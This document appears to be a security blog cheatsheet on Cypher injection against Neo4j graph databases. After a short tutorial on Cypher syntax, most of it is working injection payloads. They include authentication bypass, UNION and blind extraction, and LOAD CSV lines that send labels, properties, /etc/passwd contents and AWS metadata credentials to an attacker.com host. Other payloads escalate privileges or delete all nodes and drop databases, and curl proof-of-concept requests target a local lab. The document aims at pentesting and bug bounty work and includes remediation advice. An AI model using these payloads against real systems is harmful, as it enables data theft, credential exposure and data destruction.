Recon resources
Posted in Cheatsheets on April 15, 2019
Posted in Cheatsheets on December 26, 2022
Graph vs Relational databases
Relational database | Graph database | |
---|---|---|
Vendor examples | MySQL, Microsoft SQL Server | Neo4j, RedisGraph, Amazon Neptune |
What it looks like | Tables, rows, columns: | Graphs, nodes, relationships: |
Fun fact: Neo4j is used by BloodHound.
Graph fundamentals
A graph database can store any kind of data using:
//
: Inline comments/* */
: Multi-line comments// Get all nodes that have a label "Fruit"
MATCH (a:Fruit) RETURN a // Equivalent of SELECT ... FROM in SQL
// Get all "Fruit" nodes that have a specific property
MATCH (a:Fruit {title: 'Green Apple'}) RETURN a
MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a
// Limit the numbers of results
MATCH (a:Fruit) RETURN a LIMIT 20
// Order results
MATCH (a:Fruit) RETURN a ORDER BY title
// Create a single code
CREATE (n)
// Create multiple nodes
CREATE (n), (m)
// Create a node with a label
CREATE (n:Person)
// Create a node with multiple labels
CREATE (n:Person:Swedish)
// Create node and add labels and properties
CREATE (n:Person {name: 'Andy', title: 'Developer'})
// Return created node
CREATE (a {name: 'Andy'})
RETURN a.name
// Create a node & set properties
CREATE (n:Account)
SET n.id=1, n.username="admin",n.password="password123"
RETURN n
Retrieve all labels in a graph & remove duplicates:
MATCH (a) return DISTINCT labels(a)
or
CALL db.labels()
or
CALL db.labels() YIELD label
or
CALL db.labels() YIELD label AS x
About YIELD
YIELD
allows you to select which of the available result fields are returned (label
here), and store them in a variable (x
) that can be used later by the rest of the query.CALL db.labels() YIELD label RETURN count(label)
// same as
CALL db.labels() YIELD label AS x RETURN count(x)
MATCH (c) WHERE c.name = 'Spongebob'
RETURN keys(c)
// Remove duplicates
MATCH (c:Character)
RETURN DISTINCT keys(c)
SHOW databases
USE myDatabase // Select the database to query
MATCH (n) RETURN n
SHOW CURRENT USER
SHOW USERS
SHOW procedures
// or
CALL dbms.procedures()
CALL dbms.functions()
// Switch to the system database, then list roles
USE system CALL dbms.security.listRoles()
collect()
collects all the values and returns them in a single list (useful for data exfiltration):
MATCH (c:Character)
RETURN collect(c.name)
// Returns:
// ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]
split()
splits a string into a list of strings using a delimiter:
RETURN split('one,two', ',')
// Returns:
// ["one","two"]
A Cypher query is made up from several clauses chained together, e.g.:
MATCH (john:Person {name: 'John'})
MATCH (john)-[:FRIEND]->(friend)
RETURN friend.name AS friendName
According to the Cypher specification:
Another way of thinking about clauses is in terms of function chains: each clause is in essence a function taking as input a table, and returning a table as output. Thus, the query as a whole is a composition of these ‘functions’.
This is what makes it possible later on, when we exploit Cypher injection, to chain multiple clauses in one statement.
E.g. if we can inject into a MATCH ... WHERE ... RETURN
query, we’ll be able to add a CALL
and LOAD CSV FROM
clause:
MATCH ...
WHERE ...
CALL ... YIELD ...
LOAD CSV FROM ...
RETURN ...
(Here is the full example)
UNION
clause combines the results of two or more queries into a single result set (that includes all the records that belong to all queries in the union)UNION
to combine queries and remove duplicates & UNION ALL
to retain duplicatesMATCH (n:Person)
RETURN n.name
UNION
MATCH (n:Book)
RETURN n.title
or
// Using the same alias
MATCH (n:Person)
RETURN n.name AS name
UNION
MATCH (b:Book)
RETURN b.title AS name
Erroneous syntax:
// Not allowed
MATCH (p:Person)
RETURN p.name
UNION
MATCH (b:Book)
RETURN b.title
The WITH
clause allows you to chain (or pipe) queries, meaning chain the output of one query to another.
E.g. to follow up a MATCH
clause with an ORDER BY
clause:
MATCH (c)
WITH c
ORDER BY c.Character DESC
LIMIT 3
RETURN collect(c.name)
// E.g. ouput
// │["Mr.Crabs","Spongebob","Squidward"]│
This is useful for Cypher injection, to break out of the initial query.
CALL
can be used to either call procedures (e.g. CALL db.labels()
) or subqueries, i.e. queries inside of other queries.
LOAD CSV is used to import data from local or remote CSV files:
// Import local file
LOAD CSV FROM 'file:///users.csv' AS line RETURN line
// Import remote file
LOAD CSV FROM https://domain.com/data.csv AS line RETURN line
Note it doesn’t have to actually be a CSV file which enables SSRF:
LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line
LOAD CSV FROM "https://attacker.com" AS line RETURN line
LOAD CSV
supports HTTPS
, HTTP
, FTP
and file:///
. It follows redirects but not redirects that change the protocol (e.g. from HTTPS
to HTTP
).
The Neo4j APOC library:
apoc.load.json()
is used to import local or remote JSON files:
// Local file
CALL apoc.load.json("file:///person.json")
YIELD value
RETURN value
// Remote file
CALL apoc.load.json("https://domain.com/data.json")
YIELD value
RETURN value
List available APOC procedures:
CALL apoc.help('apoc')
This will be useful for exploiting Boolean-based and Time-based Cypher injection.
The CASE
construct is used to create conditional statements, e.g.:
MATCH (n:Movie)
RETURN
CASE n.title
WHEN 'The Matrix Reloaded' THEN 1
WHEN 'The Matrix Revolutions' THEN 2
ELSE 3
END AS result
LIMIT 5
APOC also supports conditional execution procedures.
According to Neo4j:
Cypher injection is a way for maliciously formatted input to jump out of its context, and by altering the query itself, hijack the query and perform unexpected operations on the database.
This is a cousin to SQL injection, but affecting our Cypher query language.
I didn’t find any classification of Cypher injection attacks, but based on the types of SQL injection they can also be:
Note that:
apoc.util.sleep()
Vulnerable query
// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
Payload
Spongebob' or 1=1 RETURN c//
Final query
executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")
which executes:
MATCH (c:Character)
WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
returning all nodes.
Source: The Cypher Injection Saga
Vulnerable request
GET /show/id?id=42
Original query
MATCH (a:Person)
WHERE id(a) = 42
RETURN a
where the id
value (here 42
, passed via the id
GET parameter) is attacker controllable.
Payload 1
42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a
Final query
MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION CALL db.labels() YIELD label AS a
RETURN a
Note that the first query returns a Number while the second one returns a String, which is not a problem in Cypher.
Payload 2
42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //
Final query
MATCH (a:Person)
WHERE id(a) = 42
RETURN 1 AS a
UNION MATCH(b)
RETURN DISTINCT labels(b) AS a
//RETURN a
Same example but different exploitation method:
Vulnerable request
GET /show/id?id=42
Original query
MATCH (p:Person)
WHERE id(p) = 42
RETURN p
Payload
42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
Final query
MATCH (p:Person)
WHERE id(p) = 42
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/' + label AS r
RETURN p
Pay attention to:
Use Neo4j browser or Neo4j Desktop on a database you control (e.g. the cypher-playground playground) to ensure your payloads do what you expect and the syntax is correct.
Depending on the injection context, you might need to end the string or query where you’re injecting, to break out of it. E.g.:
'
"
'})
It can also be more complex and target-specific as seen in this bug bounty writeup:
.*' | o ] AS filteredOrganisations
“WITH x as Y” trick
If you’re injecting into a CREATE
clause, use something like WITH 1337 AS y
to break out of it:
Original query
CREATE (n:Person) SET n.name="test" RETURN n
Payload
test" WITH 1337 AS y MATCH (n) DETACH DELETE n//
Final query
MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n
Use //
to comment out the rest of a request. It allows nullyfing clauses that limit the results.
E.g. LIMIT 0
means do not display output, but it can be bypassed:
Original query
MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0
Payload
1 OR 1=1 RETURN n//
Final query
MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0
Use /*
to comment out a multi-line request, e.g.:
Original query
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u LIMIT 5
Payload
' OR 1=1 RETURN u/*
Final query
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/
// which is equivalent to:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u
Limitation
When you inject /*
, the multi-line comment will stop at the first terminator (i.e */
) in the query.
E.g. nullifying LIMIT 0
here won’t be possible:
// Original query
MATCH (u:User) WHERE u.name = ' + USER_INPUT + '
RETURN u /* second comment */ LIMIT 0 /* Do not display output */
Final query after injecting ' OR 1=1 RETURN u /*
:
MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*'
RETURN u /* second comment */ LIMIT 0 /* Do not display output */
Just a reminder that copy-pasting payloads from somewhere else can add invisible characters.
Also, Cypher queries are often displayed with newlines for better readability.
So if a payload is supposed to be working but isn’t, make sure there aren’t any undesired characters that break the payload.
Try to trigger errors using payloads like:
'
"
)
// prepend a string like `zxlck.`
\'
12/0 // i.e. int/0
42-1 // i.e. int-int
randomstring
1 or 1=1
' or 1=1
" or 1=1
' or '1'='1
" or "1"="1
...
Example of Neo4jError:
Source: The Cypher Injection Saga
Change numerical values in parameters to mathematical operations.
E.g. if /profile?id=42
gives same response as /profile?id=41%2b2-1
(so the payload is 41+2-1
but URL-encoded), it indicates code injection.
Look for differences in responses:
' or 1=1 //
' or 1=0 //
" or "1"="1
" or "1"="2
" or True //
" or False //
...
Try to send an out-of-bound HTTP request to your server:
LOAD CSV FROM 'https://attacker.com' AS b return b//
Use this if APOC is enabled:
CALL apoc.util.sleep(10000)
Example
Original query:
MATCH (n:User) WHERE n.name='Jane' RETURN n
Payload:
Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //
Final query:
MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //
Similar to authentication bypass via SQLi. Try payloads like:
1 OR 1=1
E.g.:
// Vulnerable query
MATCH (n) WHERE n.name = "admin" and n.password = {USER SUPPLIED INPUT} RETURN n LIMIT 0
// Final query
MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0
To build valid queries, we need to know which labels and properties exist in the database. So, the first thing to try is extracting this information and, if it’s not returned in the HTTP response, leak it to our server.
Leak labels:
CALL db.labels()
Leak properties of a label (Character
here):
MATCH (c:Character) RETURN DISTINCT keys(c)
Leak the values of a property (name
here):
MATCH (c:Character) RETURN c.name
LOAD CSV is used to import local or remote files.
Since it sends a GET request to an external service (that we can define), it enables leaking data from the database to a server we control (basically internal SSRF).
Leak labels:
CALL db.labels() YIELD label
LOAD CSV FROM 'https://attacker.com/'+label
AS b RETURN b//
(One GET request is sent for each label)
Leak properties of a label (Character
here) using APOC:
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '')
AS b RETURN b//
Leak properties of a label (Character
here) without APOC:
// First property
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[0]
AS b RETURN b//
// Second property
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+keys(c)[1]
AS b RETURN b//
Leak the values of a property (name
here):
MATCH (c:Character)
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//
Even if you couldn’t leak labels and properties, exploitation is possible if you have an error message that tells you the name of the return variable (real-life example).
E.g.: Leak all nodes
Vulnerable query:
// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
Payload:
// Replace 'c' with the return variable's name you have
' or 1=1 RETURN c//
Final query:
MATCH (c:Character)
WHERE c.name = '' or 1=1
RETURN c//' RETURN c
If you can see error messages, place the data you want to dump inside the Date()
function.
As it will fail to convert it to a date, it will error out the argument it received instead (which is the data you want to leak):
MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))
Some payloads from Neo4j (Cypher graph query language) injection:
Number of properties (columns)
MATCH (a)
RETURN size(keys(a))
LIMIT 1
Length of a property
MATCH (a)
WHERE a.name = '' OR 4 = size('1234')
RETURN a
LIMIT 1
OR 4 = size('1234')
makes the condition true, so the query would return 1 record.
Replacing 4 = size('1234')
with 1 = size('1234')
would return no record.
Length of first property
MATCH (a)
RETURN size(keys(a)[0])
LIMIT 1
If condition
MATCH (a:Movie)
RETURN a
ORDER BY
CASE 'a'
WHEN 'b' THEN a.title
ELSE a.name
END
Substring/Char
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person)
RETURN substring(keys(b)[0],0,1) AS test//'
Putting it together
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE substring(keys(b)[0],0,1)
WHEN "a" THEN 2
ELSE 3
END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION
MATCH (b:Person) RETURN
CASE size(keys(b)[0])
WHEN 1 THEN 2
ELSE 3
END AS test//'
MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test
UNION MATCH (b:Person) RETURN
CASE size(keys(b)[0])
WHEN 4 THEN 2
ELSE 3
END AS test//'
I need to reesarch this more to create payloads. The idea would be to use if conditions (similarly to Boolean-based injection) combined with CALL apoc.util.sleep(10000)
to infer values.
In addition to leaking data from the database, we can also use LOAD CSV
for internal SSRF.
To be more precise, we’re chaining internal SSRF and external SSRF by:
Note that the internal service and graph database can be hosted on different servers.
Leak internal resource response
Try loading internal web pages or files and sending them to your server:
LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x
LOAD CSV FROM "https://attacker.com/"+x[0] AS y
RETURN ''//
Try accessing all kinds of internal resources:
http://localhost:3030/internal-api/keys.txt
https://192.168.1.1/admin
, http://localhost:8080
…Note that:
Lateral movement in the cloud
X-aws-ec2-metadata-token
, to allow queries to the AWS metadata service. There doesn’t seem to be a way to include this token in GET requests sent by LOAD CSV
.Exfiltrating data / reponses that have special characters
The payload above doesn’t work if the data being leaked (this part: x[0]
) contains characters not allowed in a URL (spaces, single quotes, double quotes, etc).
In other words, LOAD CSV
won’t automatically URL-encode special characters.
E.g. running this query in Neo4j Browser returns an error (because of the spaces in a b c
):
LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y
RETURN y
Splitting a b c
into a list and only exfiltrating the first element (a
) works:
LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y
RETURN y
Apart from using split()
, there are 3 potential solutions to explore:
apoc.text.urlencode()
(didn’t find a way to do it without APOC)collect()
(from Fun with Cypher Injections):LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''
LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN ''
...
UNWIND
(from Fun with Cypher Injections):LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''
I haven’t researched this further. Just wanted to raise it as a potential issue when exfiltrating data.
If a Neo4j database is misconfigured, having its “import” directory set to a dangerous location like /var/www/html
or /
, you can read arbitrary files within its subdirectories using LOAD CSV
.
Leak the location of a database’s “import” directory
// Tested on Neo4j Desktop 1.5.6
CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value
On older versions, you might need to use a different name, e.g. dbms.directories.import
in Neo4j Desktop 1.3.11 instead of server.directories.import
.
Exploit a misconfigured database to read arbitrary files
E.g. if the import directory is set to /
:
// Load /etc/passwd & send it to your server
LOAD CSV FROM 'file://etc/passwd'
AS x
LOAD CSV FROM "http://attacker.com/"+x[0]
AS y RETURN ''//
Final query:
MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n
Another payload to do the same thing:
' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //
Source: Pentesting Cisco SD-WAN Part 1: Attacking vManage
Privilege escalation example from Fun with Cypher Injections
Original query
Create a normal (low-privileged) account:
CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="{INJECTION POINT}"
RETURN n
Payload
",n.admin=True RETURN n//
Final query
CREATE (n:Account)
SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n
//" RETURN n
We overwrote the n.admin
value to True
which makes the account created admin.
The impact of all attacks in this section is server-side denial of service, i.e. deleting all entries in a database or dropping the database.
DO NOT test for this ON REAL TARGETS unless you have EXPLICIT WRITTEN permission to test for Denial of Service.
This is only mentioned for learning purposes and to help describe the potential impact of Cypher injection in bug reports.
CALL dbms.listConnections()
CALL dbms.killConnection("bolt-9276") // for a single connection
CALL dbms.killConnections(["bolt-9276", "bolt-9273"]) // for multiple connections
Impact
SHOW databases
DROP database spongebob
Vulnerable query:
// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
Payload:
// Replace 'c' with the return variable's name you have
' DELETE c//
Final query:
MATCH (c:Character)
WHERE c.name = ''
DELETE c//' RETURN c
Delete all nodes
Vulnerable query:
// Neo4j query in NodeJS app
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
Payload:
' MATCH (all) DETACH DELETE all//
DETACH
must be used to delete relationships, because a node can’t be deleted without also deleting its relationships.
Final query:
MATCH (c:Character)
WHERE c.name = ''
MATCH (all)
DETACH DELETE all//' RETURN c
Delete all nodes that have a label
Payload:
' MATCH (all:Character) DETACH DELETE all//
If whitespaced are filtered:
MATCH (n) RETURN n
Replace them with comments:
MATCH/**/(n)/**/RETURN/**/n
If /**/
is also filtered, use /*randomstring*/
instead:
MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/n
MATCH (c:Character)
CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name)
YIELD value RETURN value//
Let’s say you have blind Cypher injection, you want to exfiltrate the contents of an internal endpoint/file, but requests to your server are blocked (by a WAF for instance).
I haven’t tried it, but there is an idea from this article that could work: Save the data you want to leak in the database, then read it when it is displayed back in the app.
LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})
I’m not sure if this is what the author meant, but it’s worth trying if nothing else works.
Note, however, that it could quickly mess up the database because one CREATE
clause is executed for each line found in the page fetched with LOAD CSV
.
db.labels
)CASE WHEN
can be used for Cypher injection (if-based, with OR 1=2
)db.labels
and check wether the first letter equals ‘a’ (using OR 1=2
to get the result if it’s blind injection)Injecting into Cypher queries can have a variety of impacts, including:
Why DoS and SSRF are basically always possible
In SQL injection, the initial clause limits what you can do. E.g. if it’s a SELECT statement, it’ll be impossible to inject a payload that makes it modify data.
Cypher doesn’t have this limitation. Whatever the initial query is, if you can inject into it it’ll be possible to add new clauses (using the WITH x as Y
trick) that will delete data, perform SSRF, etc.
Remediation
// Not vulnerable (parameterized query)
session.run("MATCH (c:Character)
WHERE c.name = $name RETURN c", {name: name})
// Vulnerable (string concatenated with Cyper query)
session.run("MATCH (c:Character)
WHERE c.name '" + name + "' + RETURN c)
Mitigations
neo4j.conf
(available since version 4.3)Note that there is currently no way to disable LOAD CSV
(functions can be disabled but not clauses), but Neo4j are working on a fix.
For more
OpenCypher
Neo4j
Memgraph
RedisGraph
Amazon Neptune
Open Neo4j Browser (using the “Open” button in front of the load-movies.cypher
file)
List available APOC procedures:
CALL apoc.help('apoc')
apoc.text.join()
(used above to leak labels) does:MATCH (m:Movie) RETURN DISTINCT keys(m)
MATCH (m:Movie) RETURN DISTINCT apoc.text.join(keys(m), ',')
Find LOAD CSV’s “import” directory
Open Neo4j Desktop. Click on “Settings” and search for directories.import
. E.g.:
# This setting constrains all `LOAD CSV` import files to be under the `import` directory. Remove or comment it out to
# allow files to be loaded from anywhere in the filesystem; this introduces possible security problems. See the
# `LOAD CSV` section of the manual for details.
server.directories.import=import
git clone https://github.com/noypearl/cypher-playground.git
cd cypher-playground
docker-compose up
spongebob
neo4j
hello
Trigger error
Payload:
randomstring
PoC:
curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'
Return all
Payload:
1 or 1=1
PoC:
curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'
Leak labels
Payload:
Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'
Leak properties of the label Character
Payload:
Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'
Leak values of the property name
Payload:
Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //
PoC:
curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'
curl -X 'GET' \
'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \
-H 'accept: application/json'
1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//
Now, let’s go find a bug bounty program that uses graph databases…